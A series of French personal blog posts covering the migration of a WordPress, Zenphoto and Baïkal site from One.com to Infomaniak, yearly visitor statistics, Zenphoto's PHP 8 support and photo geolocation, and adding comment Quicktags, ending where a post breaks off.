Et puisque j’utilise désormais le CMS proposé et géré par Infomaniak (mon nouvel hébergeur), je n’ai pas eu à faire la mise à jour moi-même. Aujourd’hui, la nouvelle version a été déployée, et je peux enfin profiter des données GPS de mon dernier voyage en Asie ! :cool:

Il m’a suffit pour les albums créés avec la 1.6.4 d’aller dans le panneau d’administration de Zenphoto, et pour chaque album de cliquer sur le bouton “Actualiser les métadonnées de l’album” pour recharger ces fameuses données EXIF dans la base de données de Zenphoto.

Et cette fois, toutes mes photos (ou presque) ont bien les données GPS : j’ai de bien meilleurs résultats avec le combi Pixel 6a/GrapheneOS/GCam qu’en 2018 où j’avais un Sony Xperia Z5 C et son application photo d’origine. C’est en partie de ma faute car j’avais du désactiver l’option GPS à un moment et oublié de la remettre après le Laos, mais tout de même, l’obtention de la position est manifestement beaucoup plus rapide désormais. Cette expérience Sony avait d’ailleurs été assez mauvaise dans l’ensemble !

Je passe donc de 11,76 % d’images avec données GPS (Asie 2018) à 96,09 % (Asie 2023) :

Voilà une bonne chose de faite. J’ai du revoir un peu le thème Zenji suite à la migration vers Infomaniak, je n’avais pas vérifié les modifications en CSS que j’avais apporté en 2021. Désormais c’est pas mal, et l’album n’est pas loin de ressembler à ce que je souhaite.

Migration de mon site vers Infomaniak

Thu, 29 Aug 2024 16:41:48 +0000

J’avais pris la décision l’année dernière de changer d’hébergeur, car l’actuel (One.com) commençait à me décevoir depuis quelque temps.

En dehors du prix qui augmentait régulièrement chaque année, je recevais chaque année deux mois avant l’échéance un mail me menaçant d’effacer toutes mes données car la carte de paiement de mon compte n’était plus valide. Et pour cause, j’utilise toujours une carte virtuelle à chaque échéance.

C’est le genre de truc qui m’énerve, je paie chaque année sans aucun problème, mais “ce mail est automatique, ils ne peuvent rien y faire, je ne dois pas en tenir compte”. Très bien : je me suis dit que finalement j’allais en tenir compte en allant voir ailleurs si l’herbe était plus verte.

Et j’ai choisi Infomaniak, “The Ethical Cloud”, un hébergeur situé en Suisse (je rapatrie mes données en Europe ! :smile:). Ce n’est pas forcément l’offre la moins chère (je vais tout de même faire baisser la facture pour une meilleure offre), mais ils sont réputés pour leur sérieux, je les connaissais déjà par leur offre KDrive (15 Gb gratuits que j’avais envisagé d’utiliser à un moment), et ils ont une bonne réputation sur le Web. Enfin ils incluent dans l’offre plus de 100 CMS, dont Wordpress bien sûr, mais aussi Zenphoto (ma galerie photo, ce qui était une belle surprise) et cerise sur le gâteau Nextcloud, que j’utilise déjà en auto-hébergement, et dont les possibilités sont très larges.

Reprenons tout ça et voyons comment la migration s’est passée. En résumé, ça a été vraiment facile, plus que je ne le pensais, et en quelques jours tout a été réglé (malgré une mauvaise approche avec Baïkal, mon serveur CalDav/CardDav).

Les hébergeurs

One.com

Mon blog était donc hébergé chez One.com depuis fin 2014. C’est un hébergement web partagé, cela suffit à mes besoins, avoir une machine dédiée (vHost) coûte beaucoup plus cher. C’est assez minimaliste, pas de service fourni (à part une sauvegarde journalière, mais ça tout le monde le propose). Leur interface (Panneau de configuration) est également très minimaliste.

J’en étais assez satisfait en terme de fonctionnement, de toutes façons je suis assez autonome et mes besoins sont basiques, mais les rares fois où j’ai contacté le support, il ne fallait pas attendre grand chose d’eux : tout est automatisé, et rien n’est permis en dehors de ce qui est accessible par l’interface.

Commercialement, ils pouvaient néanmoins modifier votre offre de manière unilatérale et changer le prix par la même occasion sans que vous ayez votre mot à dire, tout en vous ajoutant par exemple une galerie photo qui ne présentait aucun intérêt (basique, propriétaire, aucune possibilité d’export ou d’import, etc…), ou en augmentant votre espace disque de 25 Go à 50 Go (alors que je n’en utilise que 5 Go).

Et donc au moment de la facture annuelle, celle-ci augmentait régulièrement tous les ans d’environ 20%, nouvelle offre ou pas. J’étais ainsi passé d’une cinquantaine d’euros par an en 2020 à plus de cent euros l’année dernière. Cette année, je m’attendais donc à une facture de 120 €.

Côté technique, il me manquait tout de même un accès en SSH qui peut se révéler bien pratique (je n’avais que SFTP pour copier des fichiers). J’avais également eu besoin une fois d’un service de type cron pour rafraîchir un serveur de flux RSS que je testais, mais c’était impossible.

Infomaniak

L’offre d’Infomaniak est vraiment complète : en plus de ce que j’avais chez One, je passe à 250 Go d’espace, avec accès SSH et service WebCron. Et plus de 100 CMS et services Web que l’on peut installer en un clic (liste). Avoir les mises à jour de Zenphoto gérées automatiquement sera bien agréable, et disposer d’un Nextcloud dans l’offre est un énorme plus quand on compare les offres (et celle des concurrents d’ailleurs).

Tout ça pour environ 90€ TTC par an. Comparaison avec les tarifs de One cette année :

Nom de domaineHébergementTotalInfomaniak 20248,40 €82,80 €91,20 €One 202315,59 €86,26 €101,85 €

Je vais donc payer un peu moins cher pour une offre largement meilleure ! :cool:

La migration

Reste à effectuer la migration : pour cela, Infomaniak offre un mois gratuit et c’est extrêmement pratique. Je vais pouvoir créer mon site Wordpress, y transférer les données et vérifier que tout fonctionne avant de lancer la migration du nom de domaine qui fera tout pointer sur le nouvel hébergeur (pour cela, Infomaniak propose une URL temporaire). Idem pour Zenphoto, et dans la foulée, je testerai aussi mon serveur Baikal (CalDav/CardDav) qui me permet de synchroniser mes agendas.

Premiers pas

En cliquant sur “Démarrer 30 jours gratuits”, la première chose demandée est un nom de domaine. On l’indique (donc pled.fr), et comme on ne souhaite pas le transfert immédiatement, on clique sur le petit menu à droite du bouton “Transférer”, et l’on choisit “Commander un hébergement web uniquement” :

On va pouvoir ainsi installer une instance Wordpress puis la faire pointer sur une adresse temporaire jusqu’à ce que l’on soit prêt à transférer le nom de domaine.

C’est super bien fait, même s’il faut un peu de temps pour s’habituer à l’interface et s’y retrouver (à ce stade, on peut effacer le CMS installé et recommencer en cas d’erreur), on a vite un site Wordpress fonctionnel prêt à recevoir le backup du site courant.

Wordpress

Pour transférer le contenu de mon site Wordpress, j’ai d’abord voulu utiliser le plugin Updraft Plus, un des rares plugins de ce type gratuit et complet (comme All-in-One qui est paraît-il très performant, mais si le backup est gratuit, il faut payer pour la restauration !). Mais hélas, UpdraftPlus n’a pas fonctionné : j’ai eu des erreurs SQL lors de l’import de la BDD, et côté fichiers il m’a effacé des plugins préinstallés par Infomaniak… Résultat : site corrompu, j’étais bon pour l’effacer et tout reprendre de zéro.

J’ai donc tout fait “à l’ancienne”. En fait, j’ai globalement suivi ce très bon document : https://knowledge.parcours-performance.com/transfert-site-wordpress-vers-infomaniak/

Après l’installation par Infomaniak du nouveau Wordpress, j’ai créé une nouvelle base (une autre occasion d’appréhender leur interface), puis importé un simple export via PHPMyAdmin du site chez One. Il a juste fallu éditer le fichier .sql avant l’import pour modifier le nom de la nouvelle base : en effet, Infomaniak ajoute un préfixe à la base de donnée créée, qu’il faut ajouter sur les deux lignes concernées en début de fichier, à savoir :

CREATE DATABASE IF NOT EXISTS xxxxxx_dbname USE xxx xxx_dbname

L’import s’est alors déroulé sans erreur, il ne reste plus qu’à s’occuper des fichiers, et donc du dossier wp-content à recopier en totalité (j’ai fait ça avec FileZilla en les copiant d’abord sur mon PC puis en les transférant chez Infomaniak. J’ai procédé sous-dossier par sous-dossier, en laissant l’existant et en ajoutant mes thèmes, mes plugins, et bien sûr tout le dossier uploads.

À partir de là, il ne reste plus qu’à éditer le fichier situé à la racine wp-config.php pour y indiquer les bonnes infos pour DB_NAME, DB_USER, DB_PASSWORD, $table_prefix.

Et voilà, on peut afficher le site Wordpress (avec l’adresse temporaire que fournit Infomaniak) qui est désormais la réplique exacte du site original. :cool:

Problèmes rencontrés

À première vue, pratiquement aucun problème, mais quelques plugins ne fonctionnaient plus (tous obsolètes, c’est d’ailleurs surprenant qu’ils fonctionnaient encore sur l’ancien site, peut-être qu’au fil des mises à jours, le fonctionnement reste assuré d’une façon ou d’une autre ?) :

le plugin “Subscribe to Comments” générait des erreurs PHP. En fait ce plugin était très ancien (2015) et n’était plus maintenu, je me demande même comment il fonctionnait encore sur l’ancien site. Il est en fait remplacé par Subscribe to Comments Reloaded que j’ai installé à sa place et qui fonctionne très bien en offrant plus d’options.
le plugin “Thumbnails for excerpt” ne fonctionnait plus, pour les mêmes raisons. Et le plugin Advanced Excerpt le remplace avantageusement.
le plugin “Wordpress Video plugin” générait des erreurs PHP. Cette fois, j’ai du repasser sur tous mes articles dans la catégorie “Vidéos” pour remplacer l’utilisation du plugin par un bloc “youtube” désormais intégré à Wordpress (ce qui n’était pas le cas il y a quelques années). Heureusement, ça a été assez rapide : 25 articles concernés.

Lien erroné pour l’album photo

Par la suite, en parcourant les pages, j’ai vu que les liens d’articles pointant sur l’album photo ne fonctionnaient plus : en effet, avec Infomaniak, j’ai créé un sous-domaine pour Zenphoto (voir plus bas) puisque j’utilisais leur installeur. C’est aussi bien comme ça, mais ce n’était pas le cas chez One, zenphoto n’était qu’un sous-dossier sur mon hébergeur précédent.

Il m’a donc fallu remplacer dans tous les articles la chaîne de caractère pled.fr/zenphoto par zenphoto.pled.fr. Ce qui donne en SQL :

UPDATE 0_posts
SET post_content = REPLACE(post_content, 'pled.fr/zenphoto', 'zenphoto.pled.fr')

Gramps - Baïkal

Pour Gramps, il s’agit d’un site généré par l’application, en pur HTML, et donc juste un dossier à recopier à la racine du même site, ce qui correspond à ce que j’avais chez One.

Pour Baïkal, c’est à peine différent, une fois le dossier de la dernière version copié sur le site, il faut juste lancer le setup qui dure deux secondes, puis recréer à la main les calendriers et le carnet d’adresse avec les mêmes noms que précédemment. En plaçant le dossier au même endroit, et en appliquant le même mot de passe, c’est ensuite totalement transparent, tout se synchronisera (avec le même mot de passe bien sûr) sans avoir rien d’autre à faire. Du moins c’est ce que je croyais…

Problèmes rencontrés

Parce que quelques jours plus tard, je me suis rendu compte que je n’avais plus de données côté PC : contacts et agendas étaient vides ! :oops: Je pouvais créer de nouveaux évènements ou de nouveaux contacts et les synchroniser avec le smartphone, mais tout l’existant n’apparaissait plus sur le PC (dans Evolution). De son côté, Baïkal affichait 0 Contacts, ou 0 Events… J’avais beau synchroniser le smartphone, rien à faire.

En fait j’aurais du suivre les instructions comme pour une upgrade, et au moins sauvegarder/restaurer la base de données ! Là, j’ai vraiment mal abordé la migration, j’étais persuadé qu’en synchronisant côté smartphone, la BdD allait être repeuplée. Mais non, cela ne fonctionne pas pour les évènements censés être déjà à jour (si j’ai bien compris).

Heureusement que côté smartphone, tous était resté intact. J’ai donc fini par exporter mes calendriers un par un au format .ics, puis les importer dans Evolution pour retrouver la situation d’avant la migration. Mais j’ai perdu mes “tâches”, parce que l’export du calendrier ne propose de sauvegarder que les évènements ! :sad:

Pour les contacts, ça a été un peu plus compliqué : j’avais bien exporté mes contacts au format .vcf à partir du tel, mais Evolution était incapable de l’importer (plus de réponse de l’application au moment où j’indiquais le fichier à importer, obligé de la tuer). Puis j’ai vu que le fichier VCARD était en version 2.1 alors que la version 4 existe. J’ai cherché de ce côté, et trouvé un convertisseur en v3 écrit en python ici. J’ai donc suivi les instructions :

$ cd
$ git clone https://github.com/jowave/vcard2to3.git
$ cd vcard2to3/
$ ./vcard2to3.py ~/contacts.vcf

J’ai ainsi récupéré un fichier contacts.vcf.converted (en v3) et cette fois l’import dans Evolution est passé sans problème. Ouf !

Zenphoto

Là, il faut un se familiariser avec le fonctionnement d’Infomaniak. Je n’ai qu’un nom de domaine, il va donc falloir utiliser un sous-domaine car l’installateur automatique d’Infomaniak va automatiquement vous créer un nouveau site pour chaque application installée.

Je vais donc dans “Gestion des Sites”, et je choisis “Ajouter un site”. Sur la page qui s’affiche, je choisis alors “l’option “Continuez sans installer d’outil” :

Et dans le fenêtre suivante, je choisis “Utiliser un sous-domaine”, et renseigne le nom du sous-domaine souhaité, ainsi que le nom de mon domaine :

Une fois ce site créé dans un sous-domaine, je peux alors utiliser leur outil d’installation et choisir Zenphoto pour ce site.

À terme, vous retrouvez cette arborescence sur le site FTP (ici après avoir aussi installé Nextcloud, voir plus bas) :

Concernant la migration du site Zenphoto, j’ai suivi la procédure indiquée dans la documentation : Infomaniak m’ayant installé la dernière version 1.6.4, j’ai du commencer par mettre la mienne à niveau :

mise à jour de ma version chez One de 1.6.0 à 1.6.4 pour faire la migration à partir de 2 versions identiques.
Copie du fichier index.php à la racine et du dossier zp-core sur le nouveau serveur.
Copiez tous les thèmes ou plugins personnalisés de l’ancienne installation vers la nouvelle.
Exportez la base de données de l’ancienne installation en utilisant l’outil de sauvegarde de la base de données sur la page d’aperçu de l’administrateur.
Copiez les dossiers suivants de l’ancienne installation vers la nouvelle :
- backup
- albums
- cache
- uploaded (facultatif si vous l’avez utilisé)
Lancez maintenant le setup ( /zp-core/setup.php). Il fournira l’option d’importer la sauvegarde de la base de données.

Tout a parfaitement fonctionné, même si la copie est très longue entre le dossier albums et le dossier cache, selon le nombre d’albums, cela peut prendre du temps.

Problèmes rencontrés

J’avais un album qui s’affichait mal à cause d’un caractère accentué (É) dans le nom du dossier. C’est de ma faute, car si l’on crée les albums via l’interface de Zenphoto, ce dernier remplace tous les caractères de ce type par des tirets (-) afin d’éviter ce genre de problème assez fréquents avec ce type de caractères (j’avais créé ce dossier à la main via SFTP).

J’ai recréé cet album manuellement, c’est assez rapide. Ce qui m’a donné l’occasion de tomber sur un bug avec les données EXIF qui ne sont plus ajoutées dans la BDD, ce qui fait que la belle géolocalisation que j’avais mis en place n’est plus affichée. Mais le bug est déjà identifié et corrigé, et sera disponible dans la version 1.6.5. J’attends donc cette prochaine version, il n’y a rien de critique ni d’urgent !

Nom de domaine

À ce stade, il en reste plus qu’à migrer le nom de domaine.

Je commence par aller chez One.com récupérer l’Auth-ID : aller dans le Panneau de Configuration, puis Mes produits, à droite “Gérer” puis “Obtenir l’Auth-ID”. On récupère le code nécessaire. C’est bien sûr différent pour chaque hébergeur.

Ensuite, côté Infomaniak, cela a été une pure formalité, j’ai juste demandé la migration du domaine pled.fr que j’avais indiqué dès le départ quand j’avais démarré mon essai gratuit. Il faut fournir le Auth-ID afin de prouver que je suis bien le propriétaire du nom de domaine, puis on paie le transfert (8,40 €), et environ une heure après tout est terminé. On peut éventuellement suivre le transfert sur le site whatismydns.net :

Conclusion

Et voilà, une migration vraiment facile et sans heurts, mis à part les soucis avec le serveur Baïkal : ce qui me paraissait le plus simple au départ s’est révélé ce que j’ai le plus mal géré ! Je m’attendais à quelque chose de beaucoup plus compliqué, de problèmes de transfert Wordpress, et encore plus de galères avec Zenphoto, mais non, tout a été plutôt facile de ce côté là.

Cet article est donc le premier à avoir été écrit sur ce nouvel hébergeur ! :cool:

Statistiques du blog - année 2022

Sun, 01 Jan 2023 17:02:52 +0000

Comme chaque année, voilà les statistiques du blog pour l’année 2022. Comme j’aime à le rappeler, c’est sans doute l’article le plus inutile de l’année, il est donc important de commencer celle-ci par celui-là. :wink:

Et j’en profite pour souhaiter au potentiel lecteur ou lectrice qui passerait sur cette page une très bonne année 2023, une bonne santé avant tout, et plein de bonnes choses, malgré cette époque troublée, l’année écoulée nous l’a confirmé.

En résumé, les visites sont plutôt en baisse, tout comme le nombre d’articles ou les commentaires ! :cry: La bonne surprise, c’est que les deux articles sur ma fracture du coude qui trustaient les deux premières places depuis des années ont enfin été détrônés, et remplacés par deux articles sur Openmediavault qui sont venus troubler cette hégémonie.

Cette baisse peut s’expliquer par un moins grand nombre d’articles publiés, en particulier sur des sujets techniques :

Le NAS Openmediavault, que l’on retrouve en très bonne place dans le top 20 plus bas (preuve que le sujet est porteur) fonctionne très bien, sans nouvel usage, et j’ai donc eu peu d’articles à faire sur le sujet. :cool:
Idem pour le smartphone, cette année 2022 a été plutôt stable. Cela risque de changer en 2023 qui devrait voir arriver des articles sur GrapheneOS, puisque j’attends avec impatience un nouvel appareil, j’ai nommé le Google Pixel 6a !
Enfin côté PC, je suis passé à Debian il y a presque un an maintenant, et tout est parfaitement stable et fonctionnel (quitter Ubuntu pour Debian a vraiment été un très bon choix). Et si j’ai aussi changé de machine, tout cela ne fait que deux articles pour 2022 !

Et pour terminer, chose peu fréquente, un livre a réussi à se glisser dans le Top 20 des articles, et pas le moindre : Ringolevio ! Une bonne raison pour le lire…

Mais revenons à l’essentiel, les chiffres, rien que les chiffres !

Les stats

On commence comme toujours par le nombre de visites mensuelles. Malgré un bon mois de janvier, les mois suivants sont largement à la baisse :

On le voit bien sur les vues “Tendances” ci-dessous (les records de janvier 2021 tiennent facilement) :

Ce qui nous donne globalement une légère baisse, on revient au niveau de l’année 2018 :

Côté Visiteurs, je ne dispose plus du généreux plugin WP online counter : il n’a pas résisté au passage à Wordpress 6 (et n’est plus maintenu). Il m’affichait l’année dernière un nombre total de visiteurs de 2 873 800 !! C’était flatteur, mais peu réaliste.

J’ai donc reconstitué le nombres de visites d’après les statistiques Wordpress disponibles, et des données de Free pour les années 2005 à 2007 tirées de mes articles de stats annuels. Et voilà ce que ça donne :

Bref, j’arrive ainsi à un total de 607 926 visites. La bonne nouvelle, c’est que le million est redevenu un objectif à atteindre… :wink: Du coup, je mets désormais à jour le “footer” du blog manuellement chaque nouvelle année avec le nouveau chiffre ci-dessus.

Les articles

Il y a maintenant 1414 articles publiés sur le blog, et 1647 commentaires.

En 2021, 42 articles ont été publiés (en baisse), et il y eu 58 commentaires de postés sur ceux-ci (retour à la normale après l’année 2021) :

Titre20152016201720182019202020212022Articles7565925668565142Commentaires265440109555211858

Un nouveau graphique sympa pour afficher le calendrier des publications (le mois de novembre est le plus actif) :

Le Top 20

Venons-en maintenant aux articles les plus lus en 2022.

Les deux articles sur ma fracture du coude qui trustaient les deux premières places depuis des années ont donc enfin été (presque) détrônés par deux articles sur Openmediavault qui sont venus troubler cette hégémonie, j’en suis fort aise.

On voit dans ce “top” apparaître pas mal de nouveaux articles, ceux concernant mon nouveau NAS Openmediavault, comme attendu. C’est la preuve que ces sujets sont d’actualité, on doit être nombreux à vouloir s’installer son NAS, créer une instance Nextcloud, etc… C’est plutôt bien tout ça !

L’autre bonne nouvelle, c’est qu’un livre arrive à se glisser dans ce classement à la 16ème place, et pas le moindre : Ringolevio ! Excellent bouquin, histoire vraie, je ne peux que vous encourager à le lire (recommandé par Simon Leys s’il vous plaît).

Titre20152016201720182019202020212022Openmediavault : Installation de PLEX server25152997Fracture du coude – 6 mois après499811407106616738N/A506761632849Openmediavault : Installation de Nextcloud34822562Rééducation du coude393711374110176434N/A390340751961Openmediavault : Organisation des sauvegardes7141516Pihole comme DHCP serveur avec la box Orange4881135Un Raspberry Pi pour ma chaîne Hi-Fi3371616785Quelle durée de vie pour une carte micro SD ?646744Ubuntu : Installation et dépannage de Samba720675DS Video sur Samsung Smart TV6312147N/A19351444558Faire son arbre généalogique avec GRAMPS6351126732240N/A483583488LineageOS avec microG à la place des services Google613N/A486567435Synchroniser les agendas de Thunderbird et Android avec Baïkal58214761270772N/A656713390ODROID-HC2 - Installation d’Openmediavault505383Openmediavault : déplacement de Docker382Ringolevio - Emmett Grogan377KVM pour remplacer VirtualBox561348NAS Synology : Installation de Nextcloud sur DSM 61762N/A2147883346Nextcloud : mise à jour du container et limite de taille de fichiers à 1 Go et 2 Go344Gnome-calendar : ajouter un agenda CalDAV334456336

Voilà, à l’année prochaine, et portez-vous bien !

Zenphoto et PHP 8

Wed, 30 Nov 2022 10:53:54 +0000

J’utilise Zenphoto pour mon album-photo, et j’en suis très satisfait. En fait, je l’utilise depuis la version 1.0, et mon premier article à son sujet date de 2006 ! :cool:

Seulement voilà, depuis lundi dernier, il affiche une belle page blanche et pour la raison suivante : mon hébergeur One.com est passé en PHP 8, or Zenphoto 1.5.9 ne supporte pas cette version.

J’avais été prévenu par un mail de mon hébergeur, la version PHP 7 arrivait en fin de support, ce qui signifie plus de mises à jour de sécurité, et donc il est normal qu’ils désactivent cette version :

C’est impressionnant de voir le rythme de sortie et la durée de vie d’une version PHP : un an de support, et une autre année de “security fix only”, et hop, terminé ! :oops:

Je suis bien sûr allé voir sur le forum de Zenhpoto, et une version 1.6.0 est effectivement en préparation, mais ils ont un peu de retard… Voir ici. Si j’ai bien compris, la version 8 est plus stricte sur le type de variables et Zenphoto a pas mal de boulot à faire pour s’y conformer.

Il y a bien une RC ( R elease C andidate) de fournie (Zenphoto 1.6a (GitHub master)), mais comme il n’y a pas d’urgence, et que je n’ai pas de nouvel album photo de prévu pour l’instant, je préfère attendre la version 1.6 finale.

Voilà, il ne me reste plus qu’à surveiller la page de Zenphoto pour voir quand cette version 1.6 sortira.

Info

12-dec-2022 : Et voilà, la version 1.6 de Zenphoto a été rendue disponible ce lundi.

La mise à jour est passée comme une lettre à la poste, j’ai juste du mettre aussi à jour le thème zenji avec la version 1.1 (toujours pour la compatibilité php8).

Statistiques du blog - Année 2021

Sat, 01 Jan 2022 17:55:23 +0000

Comme chaque année ou presque, voilà les statistiques du blog pour l’année 2021 qui vient de s’écouler. Comme j’aime à le rappeler, c’est sans doute l’article le plus inutile de l’année, il est donc important de commencer celle-ci par celui-là. :wink:

Et j’en profite pour souhaiter au potentiel lecteur ou lectrice qui passerait sur cette page une très bonne année 2022, une bonne santé (vœu redevenu d’actualité), et plein de bonnes choses. Pour ma part, j’imagine une campagne électorale nauséabonde qui va venir s’ajouter aux complotistes en tous genres spécialistes ou pas du coronavirus : il va falloir redoubler d’attention sur le filtrage de ses sources d’information ; même un site comme linuxfr.org y est confronté, c’est dire.

En résumé, les visites sont plutôt en hausse, le nombre d’articles à peu près stable, et les commentaires en hausse ! :cool:

Mais revenons à l’essentiel, les chiffres, rien que les chiffres !

Les stats

On commence comme toujours par le nombre de visites mensuelles. Le début d’année a confirmé l’embolie observée en fin d’année 2020 (on verra pourquoi plus bas), puis on est revenu à des chiffres plus faibles mais néanmoins en hausse :

Et d’ailleurs on dépasse l’année 2017 qui détenait le record de vues précédemment. Janvier 2021 devient le nouveau mois à battre !

Ce qui nous donne globalement une légère remontée, on revient au niveau des années 2016-2017 :

Enfin, selon le généreux plugin WP online counter, le nombre total de visiteurs du blog (depuis sa création) est de 2 873 800 visiteurs (blog créé en décembre 2005). Bientôt les trois millions ! :cool:

Les articles

Il y a maintenant 1353 articles publiés sur le blog, et 1589 commentaires.

En 2021, 51 articles ont été publiés (à peu près stable), et il y eu 118 commentaires de postés sur ceux-ci, chiffre en forte augmentation, et qui fait plaisir :

Titre2015201620172018201920202021Articles75659256685651Commentaires2654401095552118

Le Top 20

Venons-en maintenant aux articles les plus lus en 2021.

Le duo de tête est toujours le même, deux articles sur ma fracture du coude : je pense qu’ils seront toujours là à truster les deux premières places ! :roll:

On voit tout de même apparaître pas mal de nouveaux articles, ceux concernant mon nouveau NAS Openmediavault (comme je l’avais prévu l’année dernière). Par exemple :

Ce sont ces articles qui expliquent certainement le pic de visites en début d’année. Comme quoi les articles techniques génèrent toujours du trafic, qui plus est sur des sujets d’actualité, comme ici l’hébergement de ses données et services.

Et toujours pas de bouquins dans ce top 20, il faut désormais attendre le 38e place pour voir apparaître le premier : Les idées des autres - Simon Leys, immédiatement suivi par l’excellent Ringolevio d’Emmett Grogan.

Titre2015201620172018201920202021Fracture du coude – 6 mois après499811407106616738N/A50676163Rééducation du coude393711374110176434N/A39034075Openmediavault : Installation de Nextcloud3482Openmediavault : Installation de PLEX server2515Un Raspberry Pi pour ma chaîne Hi-Fi3371616DS Video sur Samsung Smart TV6312147N/A19351444NAS Synology : Installation de Nextcloud sur DSM 61762N/A2147883Installation Lineageos 17.1 avec microG791Ubuntu : Installation et dépannage de Samba720Openmediavault : Organisation des sauvegardes714Synchroniser les agendas de Thunderbird et Android avec Baïkal58214761270772N/A656713Quelle durée de vie pour une carte micro SD ?646Faire son arbre généalogique avec GRAMPS6351126732240N/A483583LineageOS avec microG à la place des services Google613N/A486567KVM pour remplacer VirtualBox561Chute de vélo (à l’arrêt)463839763578N/A485512ODROID-HC2 - Installation d’Openmediavault505Pihole comme DHCP serveur avec la box Orange488Gnome-calendar : ajouter un agenda CalDAV334456Mapper le répertoire d’un NAS Synology sur Ubuntu306N/A488446

Voilà, à l’année prochaine, et portez-vous bien !

Zenphoto : nouveau thème et géolocalisation

Wed, 08 Dec 2021 18:06:50 +0000

C’est en lisant un article présentant MyPhotoShare que tout a démarré : j’ai d’abord installé une instance de MyPhotoShare pour tester la bête, et je me suis dit : " Oh, chouette, la géolocalisation des photos, c’est cool !».

J’ai donc commencé à réfléchir à la question, en pensant aux photos de mon dernier voyage en Asie, en me disant que ce serait cool d’afficher l’emplacement des photos sur l’album…

Cela soulevait deux questions : les photos du voyage contenaient-elles les données GPS ? et mon album photo (tournant sous Zenphoto), pouvait-il facilement afficher ces données ?

Du coup je me suis sérieusement penché sur le sujet : pour analyser mes photos, je me suis fabriqué un petit script bash. Pour tuer le suspense, voici le résultat concernant les données du voyage en Asie de 2018 :

Je reviendrai sur ce script dans un autre article…

Concernant l’album photo, Zenphoto peut bien sûr afficher ces données, par le biais d’une extension qu’il suffit d’activer. Voilà un exemple de ce qui s’affiche sur la page d’un album contenant des données de géolocalisation :

Les options permettent de choisir le niveau de zoom que l’on souhaite, si l’on veut afficher la mini-map ou non, et également l’écart de zoom entre les deux. Et c’est vraiment bien intégré, puisque en cliquant sur l’une des localisations, on a la miniature de la photo et sa légende qui s’affichent :

Voilà, je suis plutôt satisfait au final, malgré la faible quantité de photos dans mon album qui contiennent ces données de géolocalisation. Bien sûr, il n’y a que depuis peu de temps que j’utilise le smartphone pour prendre les photos, mais pour mon dernier voyage en Asie, je suis très déçu. :cry:

Revenons un peu sur ces photos prises avec le smartphone qui ont ou n’ont pas les données de géolocalisation, puis sur les modifications apportées à Zenphoto.

Les données GPS

On l’a vu plus haut, à peine 10% de mes photos du voyage ont ces données d’intégrées. Alors pourquoi ? En fait je ne vois que ces explications :

parmi une liste de photos prises le même jour à Bangkok (ici), certaines photos ont les données GPS et pas d’autres : je suppose que j’ai pris la photo trop rapidement pour que la géolocalisation ait eu le temps de se faire.
Aucune photo prise en Birmanie (ici) n’a les données GPS : je suppose que pour une raison ou une autre (mise à jour, mauvaise manipulation ?), l’option de l’application a été désactivée.

C’est vrai que j’ai eu très vite des problèmes avec le Sony Xperia Z5 Compact acheté pour ce voyage : comme je l’ai expliqué dans cet article, c’est bien la dernière fois que j’achète un Sony.

Je ne vois pas grand chose d’autre à noter de ce côté. Pour ma part, on dirait bien qu’après le Laos, l’option a été désactivée et que je n’ai jamais pensé à aller la vérifier. :(

On peut aussi penser lors de l’achat d’un nouvel appareil, à vérifier la qualité du GPS intégré : il faudra un test complet qui mesure la vitesse d’accroche et la précision, ce qui ne sera pas une tâche évidente ! Il faut tout de même vérifier avec quels systèmes satellites il est compatible : en Europe, il faut qu’il soit compatible GALILEO (plus précis que GPS). Et dans l’idéal, qu’il soit compatible avec tous les systèmes : GPS, GLONASS, GALILEO, BEIDOU.

Sur le smartphone, tout se passe dans les options de l’appareil photo. C’est donc dépendant de l’application utilisée. Actuellement j’ai un BQ Aquaris Pro sur lequel j’ai installé /e/ OS et voilà ce que me propose l’application photo fournie, qui est un fork d’OpenCamera :

On voit que j’ai deux options : la première demande de stocker les données de localisation, la deuxième exige les données, et donc on ne peut pas prendre de photo si ces données ne sont pas acquises (sur la plupart des applications, on n’aura que la première).

Ça l’air pas mal comme ça, mais cette deuxième option va probablement vous empêcher de prendre une photo en intérieur ! Si l’idée est bonne, on imagine bien que cela peut devenir très vite laborieux d’activer/désactiver cette option selon le contexte, et surtout d’oublier de la réactiver une fois sorti…

L’idéal serait d’exiger les données de localisation, mais de pouvoir quand même prendre la photo si elles ne sont pas présentes (avoir juste un message d’avertissement plutôt qu’un refus comme c’est le cas avec Open Camera). J’ai envoyé une “feature suggestion” en ce sens au développeur, mais ça m’étonnerait que cela soit pris en compte, ce n’est pas très cohérent : on veut forcer mais finalement non ! :oops:

Bref à chacun de faire son choix selon ses priorités ! Rien n’empêche d’installer une autre appli, il y a même des fork de Google Camera, mais il est important de bien les tester, la compatibilité n’étant pas garantie.

Zenphoto

Pour afficher les données de géolocalisation, il suffit donc d’activer une extension. On a le choix entre OpenStreetMap ou GoogleMap. À noter que pour cette dernière, Google impose des limites à son utilisation et nécessite une clef d’API. Pas de problème, puisque je préfère utiliser OpenStreetMap ! :cool:

J’ai du toutefois changer le thème : j’utilisais depuis 2015 zpMobile, c’était à l’époque le seul qui était Google mobile-friendly (Google poussait pour que les sites soient compatibles avec les terminaux mobiles). Aujourd’hui, le thème zpMobile n’est plus mis à jour, il utilise un framework jQuery mobile plutôt ancien, et surtout n’affiche pas correctement les données de géolocalisation.

Il était donc temps de changer de thème. Un mal pour un bien car le thème Zenji que j’utilise désormais est très propre et bien sûr responsive, comme on dit aujourd’hui. J’y ai apporté quelques modifications CSS/PHP pour l’adapter à mes souhaits, et le résultat me convient parfaitement :

Avec un soin particulier apporté aux commentaires, tout en CSS bien sûr !

Voilà sur le sujet. Certainement que lors mon prochain voyage (quand ce sera possible !), j’attacherai plus d’attention à cet aspect, car des années plus tard, il est bien pratique de retrouver facilement l’endroit où telle photo a été prise…

Ajout de Quicktags pour les commentaires

Thu, 29 Apr 2021 17:19:30 +0000

C’est une chose que j’aurais du faire depuis longtemps : permettre une mise en forme minimale lorsque l’on écrit un commentaire (insérer un lien, etc…).

Moi-même, lorsque je répondais à un commentaire, j’étais obligé d’aller le modifier ensuite via l’interface d’admin de Wordpress…

Je suppose que j’étais réticent à ajouter un nouveau plugin, moins on en a, mieux c’est. J’ai fini par m’y intéresser à la suite d’un commentaire posant la question.

J’ai fini par ajouter une fonction utilisant wp_editor() pour intégrer Quicktags dans le formulaire de commentaire, tout en dévalidant TinyMCE suite à un bug.

Voyons voir cela…

